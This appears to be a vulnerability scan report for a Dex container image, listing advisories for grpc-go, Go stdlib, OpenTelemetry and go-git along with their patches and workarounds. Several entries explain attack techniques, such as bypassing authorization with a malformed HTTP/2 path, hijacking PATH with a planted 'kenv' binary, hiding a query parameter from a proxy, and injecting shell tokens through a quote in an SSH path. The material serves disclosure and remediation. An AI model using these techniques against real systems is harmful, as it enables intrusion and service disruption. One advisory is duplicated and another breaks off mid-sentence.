Multiple security vulnerabilities have been identified and addressed in grpc-go affecting the xDS RBAC authorization engine (internal/xds/rbac) and the HTTP/2 transport server implementation (internal/transport). These vulnerabilities could result in:
- Authorization Bypass (Fail-Open) when translating xDS RBAC policies containing
Metadata or RequestedServerName fields.
- Denial of Service (High CPU Consumption) due to an HTTP/2 Rapid Reset mitigation bypass during client-initiated stream resets.
- Denial of Service (Server Panic) when parsing crafted xDS RBAC policies containing
NOT rules around unsupported fields.
Impact
What kind of vulnerability is it? Who is impacted?
- Affected Component: xDS RBAC
- Impact: When building policy matchers for gRPC RBAC from xDS configurations, unsupported
permission and principal rules (specifically Metadata and RequestedServerName) were silently ignored and treated as no-ops.
- If an authorization policy relied purely on these matchers for access control, treating those rules as no-ops effectively removed the restrictions.
- If these unsupported rules were nested inside logical
NOT rules (Permission_NotRule / Principal_NotId) or multi-condition OR/AND rules, silently dropping them changed the boolean logic flow of the authorization engine.
As a result, policy evaluation decisions could fail open, allowing unauthorized clients to access protected gRPC services or resources.
HTTP/2 Rapid Reset Mitigation Bypass / Denial of Service via Stream Aborts
- Affected Component: HTTP/2 transport
- Impact: Earlier mitigations in grpc-go for HTTP/2 Rapid Reset only applied threshold checks to items that directly resulted in control frames being written back to the wire, such as
SETTINGS ACKs or server-initiated RST_STREAMs.
When a client initiated a rapid flood of stream creation (HEADERS) immediately followed by stream termination RST_STREAM, items queued up in the control buffer without counting against the transport response frame threshold. An attacker can repeatedly trigger this flood sequence to bypass reader blocking, resulting in high CPU usage, and Denial of Service (DoS).
Denial of Service (Panic) in xDS RBAC Engine via Unsupported Fields inside NOT Rules
- Affected Component: xDS RBAC
- Impact: The xDS RBAC policy translators recursively generate matchers for nested rules. When a
NOT rule wrapped an unsupported or unhandled field (such as SourcedMetadata), the recursive step returned an empty matcher. This could result in a runtime panic when the RBAC engine attempts to authorize an incoming request.
An attacker or misconfigured/malicious xDS management server delivering an LDS/RDS update containing a NOT rule around an unhandled field causes the gRPC server process to crash immediately (CWE-248 / Denial of Service).
Patches
Has the problem been patched? What versions should users upgrade to?
All three issues have been fixed in master and will be released in 1.82.1 shortly.
Workarounds
Is there a way for users to fix or remediate the vulnerability without upgrading?
If upgrading grpc-go immediately is not possible, apply the following workarounds based on your deployment architecture:
- For xDS RBAC Vulnerabilities & Panics: Ensure that upstream xDS management servers do not push RBAC policies containing
Metadata, RequestedServerName, or NOT rules wrapping unsupported fields (such as SourcedMetadata) to grpc-go servers.
- For HTTP/2 Rapid Reset DOS: Configure upstream reverse proxies or load balancers (such as Envoy) with strict HTTP/2
max_concurrent_streams limits and active rate limiting on RST_STREAM frequency per connection.
Severity
| Vulnerability | Qualitative Severity | Approximate CVSS v3.1 Score | Primary Impact |
|---|
| xDS RBAC Authorization Bypass | High | 8.2 | Unauthorized Access / Fail-Open | | HTTP/2 Rapid Reset DOS Bypass | High | 7.5 | High CPU Consumption / Denial of Service | | xDS RBAC Engine Server Panic | Medium | 5.9 | Process Crash / Denial of Service |
|
google.golang.org/grpc 1.79.1 (golang)
pkg:golang/google.golang.org/grpc@1.79.1
# dex-release.dockerfile (68:68)
FROM dexidp/dex:${DEX_VERSION}-alpine
Improper Authorization
| Affected range | <1.79.3 | | Fixed version | 1.79.3 | | CVSS Score | 9.1 | | CVSS Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N | | EPSS Score | 1.557% | | EPSS Percentile | 73rd percentile |
Description
Impact
What kind of vulnerability is it? Who is impacted?
It is an Authorization Bypass resulting from Improper Input Validation of the HTTP/2 :path pseudo-header.
The gRPC-Go server was too lenient in its routing logic, accepting requests where the :path omitted the mandatory leading slash (e.g., Service/Method instead of /Service/Method). While the server successfully routed these requests to the correct handler, authorization interceptors (including the official grpc/authz package) evaluated the raw, non-canonical path string. Consequently, "deny" rules defined using canonical paths (starting with /) failed to match the incoming request, allowing it to bypass the policy if a fallback "allow" rule was present.
Who is impacted?
This affects gRPC-Go servers that meet both of the following criteria:
- They use path-based authorization interceptors, such as the official RBAC implementation in
google.golang.org/grpc/authz or custom interceptors relying on info.FullMethod or grpc.Method(ctx).
- Their security policy contains specific "deny" rules for canonical paths but allows other requests by default (a fallback "allow" rule).
The vulnerability is exploitable by an attacker who can send raw HTTP/2 frames with malformed :path headers directly to the gRPC server.
Patches
Has the problem been patched? What versions should users upgrade to?
Yes, the issue has been patched. The fix ensures that any request with a :path that does not start with a leading slash is immediately rejected with a codes.Unimplemented error, preventing it from reaching authorization interceptors or handlers with a non-canonical path string.
Users should upgrade to the following versions (or newer):
- v1.79.3
- The latest master branch.
It is recommended that all users employing path-based authorization (especially grpc/authz) upgrade as soon as the patch is available in a tagged release.
Workarounds
Is there a way for users to fix or remediate the vulnerability without upgrading?
While upgrading is the most secure and recommended path, users can mitigate the vulnerability using one of the following methods:
1. Use a Validating Interceptor (Recommended Mitigation)
Add an "outermost" interceptor to your server that validates the path before any other authorization logic runs:
func pathValidationInterceptor(ctx context.Context, req any, info *grpc.UnaryServerInfo, handler grpc.UnaryHandler) (any, error) {
if info.FullMethod == "" || info.FullMethod[0] != '/' {
return nil, status.Errorf(codes.Unimplemented, "malformed method name")
}
return handler(ctx, req)
}
s := grpc.NewServer(
grpc.ChainUnaryInterceptor(pathValidationInterceptor, authzInterceptor),
)
2. Infrastructure-Level Normalization
If your gRPC server is behind a reverse proxy or load balancer (such as Envoy, NGINX, or an L7 Cloud Load Balancer), ensure it is configured to enforce strict HTTP/2 compliance for pseudo-headers and reject or normalize requests where the :path header does not start with a leading slash.
3. Policy Hardening
Switch to a "default deny" posture in your authorization policies (explicitly listing all allowed paths and denying everything else) to reduce the risk of bypasses via malformed inputs.
Uncaught Exception
| Affected range | <1.82.1 | | Fixed version | 1.82.1 | | CVSS Score | 8.8 | | CVSS Vector | CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N |
Description
Multiple security vulnerabilities have been identified and addressed in grpc-go affecting the xDS RBAC authorization engine (internal/xds/rbac) and the HTTP/2 transport server implementation (internal/transport). These vulnerabilities could result in:
- Authorization Bypass (Fail-Open) when translating xDS RBAC policies containing
Metadata or RequestedServerName fields.
- Denial of Service (High CPU Consumption) due to an HTTP/2 Rapid Reset mitigation bypass during client-initiated stream resets.
- Denial of Service (Server Panic) when parsing crafted xDS RBAC policies containing
NOT rules around unsupported fields.
Impact
What kind of vulnerability is it? Who is impacted?
- Affected Component: xDS RBAC
- Impact: When building policy matchers for gRPC RBAC from xDS configurations, unsupported
permission and principal rules (specifically Metadata and RequestedServerName) were silently ignored and treated as no-ops.
- If an authorization policy relied purely on these matchers for access control, treating those rules as no-ops effectively removed the restrictions.
- If these unsupported rules were nested inside logical
NOT rules (Permission_NotRule / Principal_NotId) or multi-condition OR/AND rules, silently dropping them changed the boolean logic flow of the authorization engine.
As a result, policy evaluation decisions could fail open, allowing unauthorized clients to access protected gRPC services or resources.
HTTP/2 Rapid Reset Mitigation Bypass / Denial of Service via Stream Aborts
- Affected Component: HTTP/2 transport
- Impact: Earlier mitigations in grpc-go for HTTP/2 Rapid Reset only applied threshold checks to items that directly resulted in control frames being written back to the wire, such as
SETTINGS ACKs or server-initiated RST_STREAMs.
When a client initiated a rapid flood of stream creation (HEADERS) immediately followed by stream termination RST_STREAM, items queued up in the control buffer without counting against the transport response frame threshold. An attacker can repeatedly trigger this flood sequence to bypass reader blocking, resulting in high CPU usage, and Denial of Service (DoS).
Denial of Service (Panic) in xDS RBAC Engine via Unsupported Fields inside NOT Rules
- Affected Component: xDS RBAC
- Impact: The xDS RBAC policy translators recursively generate matchers for nested rules. When a
NOT rule wrapped an unsupported or unhandled field (such as SourcedMetadata), the recursive step returned an empty matcher. This could result in a runtime panic when the RBAC engine attempts to authorize an incoming request.
An attacker or misconfigured/malicious xDS management server delivering an LDS/RDS update containing a NOT rule around an unhandled field causes the gRPC server process to crash immediately (CWE-248 / Denial of Service).
Patches
Has the problem been patched? What versions should users upgrade to?
All three issues have been fixed in master and will be released in 1.82.1 shortly.
Workarounds
Is there a way for users to fix or remediate the vulnerability without upgrading?
If upgrading grpc-go immediately is not possible, apply the following workarounds based on your deployment architecture:
- For xDS RBAC Vulnerabilities & Panics: Ensure that upstream xDS management servers do not push RBAC policies containing
Metadata, RequestedServerName, or NOT rules wrapping unsupported fields (such as SourcedMetadata) to grpc-go servers.
- For HTTP/2 Rapid Reset DOS: Configure upstream reverse proxies or load balancers (such as Envoy) with strict HTTP/2
max_concurrent_streams limits and active rate limiting on RST_STREAM frequency per connection.
Severity
| Vulnerability | Qualitative Severity | Approximate CVSS v3.1 Score | Primary Impact |
|---|
| xDS RBAC Authorization Bypass | High | 8.2 | Unauthorized Access / Fail-Open | | HTTP/2 Rapid Reset DOS Bypass | High | 7.5 | High CPU Consumption / Denial of Service | | xDS RBAC Engine Server Panic | Medium | 5.9 | Process Crash / Denial of Service |
|
   stdlib 1.26.0 (golang)
pkg:golang/stdlib@1.26.0
# dex-release.dockerfile (79:79)
COPY --from=builder /go/bin/dex /usr/local/bin/dex
| Affected range | >=1.26.0-0
<1.26.2
| | Fixed version | 1.26.2 | | EPSS Score | 0.340% | | EPSS Percentile | 26th percentile |
Description
When verifying a certificate chain containing excluded DNS constraints, these constraints are not correctly applied to wildcard DNS SANs which use a different case than the constraint.
This only affects validation of otherwise trusted certificate chains, issued by a root CA in the VerifyOptions.Roots CertPool, or in the system certificate pool.
| Affected range | >=1.26.0-0
<1.26.4
| | Fixed version | 1.26.4 | | EPSS Score | 0.560% | | EPSS Percentile | 43rd percentile |
Description
Decoding a maliciously-crafted MIME header containing many invalid encoded-words can consume excessive CPU.
| Affected range | >=1.26.0-0
<1.26.3
| | Fixed version | 1.26.3 | | EPSS Score | 0.798% | | EPSS Percentile | 53rd percentile |
Description
Pathological inputs could cause DoS through consumePhrase when parsing an email address according to RFC 5322.
| Affected range | >=1.26.0-0
<1.26.3
| | Fixed version | 1.26.3 | | EPSS Score | 0.588% | | EPSS Percentile | 45th percentile |
Description
The Dial and LookupPort functions panic on Windows when provided with an input containing a NUL (0).
| Affected range | >=1.26.0-0
<1.26.3
| | Fixed version | 1.26.3 | | EPSS Score | 0.784% | | EPSS Percentile | 52nd percentile |
Description
Well-crafted inputs reaching ParseAddress, ParseAddressList, and ParseDate were able to trigger excessive CPU exhaustion and memory allocations.
| Affected range | >=1.26.0-0
<1.26.3
| | Fixed version | 1.26.3 | | EPSS Score | 0.781% | | EPSS Percentile | 52nd percentile |
Description
When processing HTTP/2 SETTINGS frames, transport will enter an infinite loop of writing CONTINUATION frames if it receives a SETTINGS_MAX_FRAME_SIZE with a value of 0.
| Affected range | >=1.26.0-0
<1.26.3
| | Fixed version | 1.26.3 | | EPSS Score | 0.813% | | EPSS Percentile | 53rd percentile |
Description
When using LookupCNAME with the cgo DNS resolver, a very long CNAME response can trigger a double-free of C memory and a crash.
| Affected range | >=1.26.0-0
<1.26.2
| | Fixed version | 1.26.2 | | EPSS Score | 0.621% | | EPSS Percentile | 46th percentile |
Description
If one side of the TLS connection sends multiple key update messages post-handshake in a single record, the connection can deadlock, causing uncontrolled consumption of resources. This can lead to a denial of service.
This only affects TLS 1.3.
| Affected range | >=1.26.0-0
<1.26.2
| | Fixed version | 1.26.2 | | EPSS Score | 0.349% | | EPSS Percentile | 27th percentile |
Description
Validating certificate chains which use policies is unexpectedly inefficient when certificates in the chain contain a very large number of policy mappings, possibly causing denial of service.
This only affects validation of otherwise trusted certificate chains, issued by a root CA in the VerifyOptions.Roots CertPool, or in the system certificate pool.
| Affected range | >=1.26.0-0
<1.26.2
| | Fixed version | 1.26.2 | | EPSS Score | 0.615% | | EPSS Percentile | 46th percentile |
Description
During chain building, the amount of work that is done is not correctly limited when a large number of intermediate certificates are passed in VerifyOptions.Intermediates, which can lead to a denial of service. This affects both direct users of crypto/x509 and users of crypto/tls.
| Affected range | >=1.26.0-0
<1.26.1
| | Fixed version | 1.26.1 | | EPSS Score | 0.606% | | EPSS Percentile | 45th percentile |
Description
When verifying a certificate chain which contains a certificate containing multiple email address constraints which share common local portions but different domain portions, these constraints will not be properly applied, and only the last constraint will be considered.
| Affected range | >=1.26.0-0
<1.26.1
| | Fixed version | 1.26.1 | | EPSS Score | 0.728% | | EPSS Percentile | 50th percentile |
Description
url.Parse insufficiently validated the host/authority component and accepted some invalid URLs.
| Affected range | >=1.26.0-0
<1.26.4
| | Fixed version | 1.26.4 | | EPSS Score | 0.939% | | EPSS Percentile | 57th percentile |
Description
(*x509.Certificate).VerifyHostname previously called matchHostnames in a loop over all DNS Subject Alternative Name (SAN) entries. This caused strings.Split(host, ".") to execute repeatedly on the same input hostname.
With a large DNS SAN list, verification costs scaled quadratically based on the number of SAN entries multiplied by the hostname's label count. Because x509.Verify validates hostnames before building the certificate chain, this overhead occurred even for untrusted certificates.
| Affected range | >=1.26.0-0
<1.26.2
| | Fixed version | 1.26.2 | | EPSS Score | 0.292% | | EPSS Percentile | 21st percentile |
Description
On Linux, if the target of Root.Chmod is replaced with a symlink while the chmod operation is in progress, Chmod can operate on the target of the symlink, even when the target lies outside the root.
The Linux fchmodat syscall silently ignores the AT_SYMLINK_NOFOLLOW flag, which Root.Chmod uses to avoid symlink traversal. Root.Chmod checks its target before acting and returns an error if the target is a symlink lying outside the root, so the impact is limited to cases where the target is replaced with a symlink between the check and operation.
| Affected range | >=1.26.0-0
<1.26.3
| | Fixed version | 1.26.3 | | EPSS Score | 0.371% | | EPSS Percentile | 30th percentile |
Description
If a trusted template author were to write a
</blockquote>
</details>
<a href="https://scout.docker.com/v/CVE-2026-39823?s=golang&n=stdlib&t=golang&vr=%3E%3D1.26.0-0%2C%3C1.26.3"><img alt="medium : CVE--2026--39823" src="https://img.shields.io/badge/CVE--2026--39823-lightgrey?label=medium%20&labelColor=fbb552"/></a>
| Affected range | >=1.26.0-0
<1.26.3
| | Fixed version | 1.26.3 | | EPSS Score | 0.314% | | EPSS Percentile | 24th percentile |
Description
CVE-2026-27142 fixed a vulnerability in which URLs were not correctly escaped inside of a tag's attribute. If the URL content were to insert ASCII whitespaces around the '=' rune inside of the attribute, the escaper would fail to similarly escape it, leading to XSS.
| Affected range | >=1.26.0-0
<1.26.2
| | Fixed version | 1.26.2 | | EPSS Score | 0.290% | | EPSS Percentile | 21st percentile |
Description
Context was not properly tracked across template branches for JS template literals, leading to possibly incorrect escaping of content when branches were used. Additionally template actions within JS template literals did not properly track the brace depth, leading to incorrect escaping being applied.
These issues could cause actions within JS template literals to be incorrectly or improperly escaped, leading to XSS vulnerabilities.
| Affected range | >=1.26.0-0
<1.26.1
| | Fixed version | 1.26.1 | | EPSS Score | 0.328% | | EPSS Percentile | 25th percentile |
Description
Actions which insert URLs into the content attribute of HTML meta tags are not escaped. This can allow XSS if the meta tag also has an http-equiv attribute with the value "refresh".
A new GODEBUG setting has been added, htmlmetacontenturlescape, which can be used to disable escaping URLs in actions in the meta content attribute which follow "url=" by setting htmlmetacontenturlescape=0.
| Affected range | >=1.26.0-0
<1.26.1
| | Fixed version | 1.26.1 | | EPSS Score | 0.350% | | EPSS Percentile | 27th percentile |
Description
Certificate verification can panic when a certificate in the chain has an empty DNS name and another certificate in the chain has excluded name constraints. This can crash programs that are either directly verifying X.509 certificate chains, or those that use TLS.
| Affected range | >=1.26.0-0
<1.26.2
| | Fixed version | 1.26.2 | | EPSS Score | 0.290% | | EPSS Percentile | 21st percentile |
Description
tar.Reader can allocate an unbounded amount of memory when reading a maliciously-crafted archive containing a large number of sparse regions encoded in the "old GNU sparse map" format.
| Affected range | >=1.26.0-0
<1.26.4
| | Fixed version | 1.26.4 | | EPSS Score | 0.370% | | EPSS Percentile | 30th percentile |
Description
When returning errors, functions in the net/textproto package would include its input as part of the error. This might allow an attacker to inject misleading content to errors that are printed or logged.
| Affected range | >=1.26.0-0
<1.26.3
| | Fixed version | 1.26.3 | | EPSS Score | 0.390% | | EPSS Percentile | 32nd percentile |
Description
ReverseProxy can forward queries containing parameters not visible to Rewrite functions.
When used with a Rewrite function, or a Director function which parses query parameters, ReverseProxy sanitizes the forwarded request to remove query parameters which are not parsed by url.ParseQuery. ReverseProxy does not take ParseQuery's limit on the total number of query parameters (controlled by GODEBUG=urlmaxqueryparams=N) into account. This can permit ReverseProxy to forward a request containing a query parameter that is not visible to the Rewrite function.
For example, the query "a1=x&a2=x&...&a10000=x&hidden=y" can forward the parameter "hidden=y" while hiding it from the proxy's Rewrite function.
| Affected range | >=1.26.0-0
<1.26.1
| | Fixed version | 1.26.1 | | EPSS Score | 0.201% | | EPSS Percentile | 10th percentile |
Description
On Unix platforms, when listing the contents of a directory using File.ReadDir or File.Readdir the returned FileInfo could reference a file outside of the Root in which the File was opened.
The impact of this escape is limited to reading metadata provided by lstat from arbitrary locations on the filesystem without permitting reading or writing files outside the root.
| Affected range | >=1.26.0-0
<1.26.5
| | Fixed version | 1.26.5 | | EPSS Score | 0.413% | | EPSS Percentile | 34th percentile |
Description
Handshakes which used Encrypted Client Hello could be de-anonymized by a passive network observer due to a disclosure of pre-shared key identities in the unencrypted client hello.
| Affected range | >=1.26.0-0
<1.26.5
| | Fixed version | 1.26.5 | | EPSS Score | 0.183% | | EPSS Percentile | 8th percentile |
Description
On Unix systems, opening a file in an os.Root improperly follows symlinks to locations outside of the Root when the final path component of the a path is a symbolic link and the path ends in /.
For example, 'root.Open("symlink/")' will open "symlink" even when "symlink" is a symbolic link pointing outside of the root.
|
go.opentelemetry.io/otel/sdk 1.39.0 (golang)
pkg:golang/go.opentelemetry.io/otel/sdk@1.39.0
# dex-release.dockerfile (81:81)
COPY --from=gomplate-builder /go/bin/gomplate /usr/local/bin/gomplate
 Untrusted Search Path
| Affected range | >=1.15.0
<=1.42.0
| | Fixed version | 1.43.0 | | CVSS Score | 7.3 | | CVSS Vector | CVSS:4.0/AV:L/AC:H/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N | | EPSS Score | 0.220% | | EPSS Percentile | 13th percentile |
Description
Summary
The fix for GHSA-9h8m-3fm2-qjrq (CVE-2026-24051) changed the Darwin ioreg command to use an absolute path but left the BSD kenv command using a bare name, allowing the same PATH hijacking attack on BSD and Solaris platforms.
Root Cause
sdk/resource/host_id.go line 42:
if result, err := r.execCommand("kenv", "-q", "smbios.system.uuid"); err == nil {
Compare with the fixed Darwin path at line 58:
result, err := r.execCommand("/usr/sbin/ioreg", "-rd1", "-c", "IOPlatformExpertDevice")
The execCommand helper at sdk/resource/host_id_exec.go uses exec.Command(name, arg...) which searches $PATH when the command name contains no path separator.
Affected platforms (per build tag in host_id_bsd.go:4): DragonFly BSD, FreeBSD, NetBSD, OpenBSD, Solaris.
The kenv path is reached when /etc/hostid does not exist (line 38-40), which is common on FreeBSD systems.
Attack
- Attacker has local access to a system running a Go application that imports
go.opentelemetry.io/otel/sdk
- Attacker places a malicious
kenv binary earlier in $PATH
- Application initializes OpenTelemetry resource detection at startup
hostIDReaderBSD.read() calls exec.Command("kenv", ...) which resolves to the malicious binary- Arbitrary code executes in the context of the application
Same attack vector and impact as CVE-2026-24051.
Suggested Fix
Use the absolute path:
if result, err := r.execCommand("/bin/kenv", "-q", "smbios.system.uuid"); err == nil {
On FreeBSD, kenv is located at /bin/kenv.
 Untrusted Search Path
| Affected range | >=1.21.0
<1.40.0
| | Fixed version | 1.40.0 | | CVSS Score | 7 | | CVSS Vector | CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H | | EPSS Score | 0.157% | | EPSS Percentile | 5th percentile |
Description
Impact
The OpenTelemetry Go SDK in version v1.20.0-1.39.0 is vulnerable to Path Hijacking (Untrusted Search Paths) on macOS/Darwin systems. The resource detection code in sdk/resource/host_id.go executes the ioreg system command using a search path. An attacker with the ability to locally modify the PATH environment variable can achieve Arbitrary Code Execution (ACE) within the context of the application.
Patches
This has been patched in d45961b, which was released with v1.40.0.
References
|
 github.com/go-git/go-git/v5 5.16.4 (golang)
pkg:golang/github.com/go-git/go-git/v5@5.16.4
# dex-release.dockerfile (81:81)
COPY --from=gomplate-builder /go/bin/gomplate /usr/local/bin/gomplate
 Incorrect Behavior Order: Validate Before Canonicalize
| Affected range | <5.19.0 | | Fixed version | 5.19.0 | | CVSS Score | 7 | | CVSS Vector | CVSS:4.0/AV:N/AC:H/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:H/SA:N | | EPSS Score | 0.159% | | EPSS Percentile | 6th percentile |
Description
Impact
go-git may parse malformed Git objects in a way that differs from upstream Git. When commit or tag objects contain ambiguous or malformed headers, go-git’s decoded representation may expose values differently from how Git itself would interpret or reject the same object.
Additionally, go-git’s commit signing and verification logic operates over commit data reconstructed from go-git’s parsed representation rather than the original raw object bytes. As a result, go-git may sign or verify a commit payload that is not byte-for-byte equivalent to the object stored in the repository.
This can cause a signature to appear valid for a commit whose displayed or effective metadata differs from the object that was intended to be signed.
Patches
Users should upgrade to a patched version in order to mitigate this vulnerability. Versions prior to v5 are likely to be affected, users are recommended to upgrade to a supported go-git version.
Credit
Thanks to @bugbunny-research (https://bugbunny.ai/) for reporting this to sigstore/gitsign, and to @wlynch, @patzielinski and @adityasaky for coordinating the disclosure with the go-git project. :bow: 🥇
Thanks to @wayphinder for reporting this to the go-git project. :bow:
 Uncontrolled Resource Consumption
| Affected range | <=5.19.0 | | Fixed version | 5.19.1 | | CVSS Score | 6.5 | | CVSS Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H |
Description
Impact
Several denial-of-service issues were identified in go-git when parsing maliciously crafted Git repository data.
An attacker may craft a malicious .pack, .idx or loose objects that causes an application using an affected version of go-git to panic or consume excessive resources.
This can lead to denial of service in applications that use go-git to clone, fetch, open, or otherwise process untrusted repositories or Git object data.
Exploitation requires the ability to alter read-only files such as .pack or .idx from the local repository's .git/objects/pack/ directory. Alternatively, the user would need to be interacting with a malicious remote server, which is not recommended and exposes users to a broader class of security risks beyond this issue.
Patches
Users should upgrade to a patched version in order to mitigate this vulnerability. Versions prior to v5 are likely to be affected, users are recommended to upgrade to a supported go-git version.
Credits
go-git thanks @kodareef5, @AyushParkara and @N0zoM1z0 for reporting this in four separate reports. 🙇
 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
| Affected range | <=5.19.0 | | Fixed version | 5.19.1 | | CVSS Score | 5.4 | | CVSS Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:L | | EPSS Score | 0.297% | | EPSS Percentile | 22nd percentile |
Description
Impact
A path validation issue in go-git could allow crafted repository data to affect files outside the intended checkout target, including the repository's .git directory.
These validations were introduced in upstream Git years ago, so the vulnerability arose from go-git drifting from those checks. Some attack vectors were platform-specific: certain payloads affected only Windows users, others affected only macOS users, and some applied across all supported platforms.
Using non-descendant go-billy filesystem instances, or different filesystem types, for the Storer and Worktree may provide some isolation against .git directory manipulation. For example, users that store the .git directory through memfs while using osfs for the worktree are not affected by this vulnerability in the main repository, because repository metadata is not materialized inside the worktree filesystem.
However, this isolation does not necessarily apply when the repository contains submodules, since submodule dotgit directories may still be represented or materialized within the worktree context.
It is important to note that exploitation requires a maliciously crafted repository payload. Users should always exercise caution when interacting with repositories or Git servers they do not trust.
Patches
Users should upgrade to a patched version in order to mitigate this vulnerability. Versions prior to v5 are likely to be affected, users are recommended to upgrade to a supported go-git version.
Credits
Thanks to @kodareef5, @AyushParkara and @N0zoM1z0 for reporting this to the go-git project in three separate reports. 🙇
 Integer Underflow (Wrap or Wraparound)
| Affected range | >=5.0.0
<=5.17.0
| | Fixed version | 5.17.1 | | CVSS Score | 5 | | CVSS Vector | CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:N/I:N/A:H | | EPSS Score | 0.147% | | EPSS Percentile | 4th percentile |
Description
Impact
A vulnerability has been identified in which a maliciously crafted .idx file can cause asymmetric memory consumption, potentially exhausting available memory and resulting in a Denial of Service (DoS) condition.
Exploitation requires write access to the local repository's .git directory, it order to create or alter existing .idx files.
Patches
Users should upgrade to v5.17.1, or the latest v6 pseudo-version, in order to mitigate this vulnerability.
Credit
The go-git maintainers thank @kq5y for finding and reporting this issue privately to the go-git project.
 Insufficiently Protected Credentials
| Affected range | <=5.17.2 | | Fixed version | 5.18.0 | | CVSS Score | 4.7 | | CVSS Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:N/A:N | | EPSS Score | 0.259% | | EPSS Percentile | 17th percentile |
Description
Impact
go-git may leak HTTP authentication credentials when following redirects during smart-HTTP clone and fetch operations.
If a remote repository responds to the initial /info/refs request with a redirect to a different host, go-git updates the session endpoint to the redirected location and reuses the original authentication for subsequent requests. This can result in the credentials (e.g. Authorization headers) being sent to an unintended host.
An attacker controlling or influencing the redirect target can capture these credentials and potentially reuse them to access the victim’s repositories or other resources, depending on the scope of the credential.
Clients using go-git exclusively with trusted remotes (for example, GitHub or GitLab), and over a secure HTTPS connection, are not affected by this issue. The risk arises when interacting with untrusted or misconfigured Git servers, or when using unsecured HTTP connections, which is not recommended. Such configurations also expose clients to a broader class of security risks beyond this issue, including credential interception and tampering of repository data.
Patches
Users should upgrade to v5.18.0, or v6.0.0-alpha.2, in order to mitigate this vulnerability. Versions prior to v5 are likely to be affected, users are recommended to upgrade to a supported go-git version.
The patched versions add support for configuring followRedirects. In line with upstream behaviour, the default is now initial, while users can opt into FollowRedirects or NoFollowRedirects programmatically.
Credit
Thanks to the 3 separate reports from @celinke97, @N0zoM1z0 and @AyushParkara. Thanks for finding and reporting this issue privately to the go-git project. :bow:
 Improper Validation of Integrity Check Value
| Affected range | <=5.16.4 | | Fixed version | 5.16.5 | | CVSS Score | 4.3 | | CVSS Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N | | EPSS Score | 0.136% | | EPSS Percentile | 3rd percentile |
Description
Impact
A vulnerability was discovered in go-git whereby data integrity values for .pack and .idx files were not properly verified. This resulted in go-git potentially consuming corrupted files, which would likely result in unexpected errors such as object not found.
For context, clients fetch packfiles from upstream Git servers. Those files contain a checksum of their contents, so that clients can perform integrity checks before consuming it. The pack indexes (.idx) are generated locally by go-git, or the git cli, when new .pack files are received and processed. The integrity checks for both files were not being verified correctly.
Note that the lack of verification of the packfile checksum has no impact on the trust relationship between the client and server, which is enforced based on the protocol being used (e.g. TLS in the case of https:// or known hosts for ssh://). In other words, the packfile checksum verification does not provide any security benefits when connecting to a malicious or compromised Git server.
Patches
Users should upgrade to v5.16.5, or the latest v6 pseudo-version, in order to mitigate this vulnerability.
Workarounds
In case updating to a fixed version of go-git is not possible, users can run git fsck from the git cli to check for data corruption on a given repository.
Credit
Thanks @N0zoM1z0 for finding and reporting this issue privately to the go-git project.
 Improper Validation of Array Index
| Affected range | <=5.17.0 | | Fixed version | 5.17.1 | | CVSS Score | 2.8 | | CVSS Vector | CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:N/I:N/A:L | | EPSS Score | 0.153% | | EPSS Percentile | 5th percentile |
Description
Impact
go-git’s index decoder for format version 4 fails to validate the path name prefix length before applying it to the previously decoded path name. A maliciously crafted index file can trigger an out-of-bounds slice operation, resulting in a runtime panic during normal index parsing.
This issue only affects Git index format version 4. Earlier formats (go-git supports only v2 and v3) are not vulnerable to this issue.
An attacker able to supply a crafted .git/index file can cause applications using go-git to panic while reading the index. If the application does not recover from panics, this results in process termination, leading to a denial-of-service (DoS) condition.
Exploitation requires the ability to modify or inject a Git index file within the local repository in disk. This typically implies write access to the .git directory.
Patches
Users should upgrade to v5.17.1, or the latest v6 pseudo-version, in order to mitigate this vulnerability.
Credit
go-git maintainers thank @kq5y for finding and reporting this issue privately to the go-git project.
 Improper Encoding or Escaping of Output
| Affected range | <=5.19.0 | | Fixed version | 5.19.1 | | CVSS Score | 2.3 | | CVSS Vector | CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:L | | EPSS Score | 0.365% | | EPSS Percentile | 29th percentile |
Description
Impact
go-git's SSH transport constructs the remote exec command by wrapping the repository path in single quotes without escaping single quotes embedded inside the path. This diverges from canonical Git, which shell-quotes the path through sq_quote_buf so that an embedded ' becomes the '\'' close-escape-reopen sequence and the whole path round-trips as a single quoted argument.
A repository path containing a single quote can therefore break out of the quoted region in the exec command and be appended as additional shell tokens. On SSH servers that evaluate the exec command through a shell (for example a user account whose login shell is /bin/sh or /bin/bash, or a ForceCommand wrapper that re-evaluates $SSH_ORIGINAL_COMMAND), those additional tokens execute in that account's command-execution context. SSH servers that tokenize the exec command without shell evaluation, including the canonical git-shell setup, are not affected.
The vulnerable behaviour is on the SSH server side, not in go-git: the same bytes can be produced by any SSH client. The change in go-git is defense-in-depth that restores parity with canonical Git's wire format and prevents go-git from being a vehicle for reaching shell-evaluating servers through attacker-influenced repository paths.
Patches
Users should upgrade to a patched version in order to mitigate this issue. The fix ports sq_quote_buf from canonical Git into go-git's SSH transport so that the wire output is byte-identical to what git itself would send for the same input.
Versions prior to v5 are likely to be affected, users are recommended to upgrade to a supported go-git version.
Credit
Thanks to @N0zoM1z0 for reporting this to the go-git project. :bow:
|
 github.com/go-git/go-billy/v5 5.7.0 (golang)
pkg:golang/github.com/go-git/go-billy/v5@5.7.0
# dex-release.dockerfile (81:81)
COPY --from=gomplate-builder /go/bin/gomplate /usr/local/bin/gomplate
 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
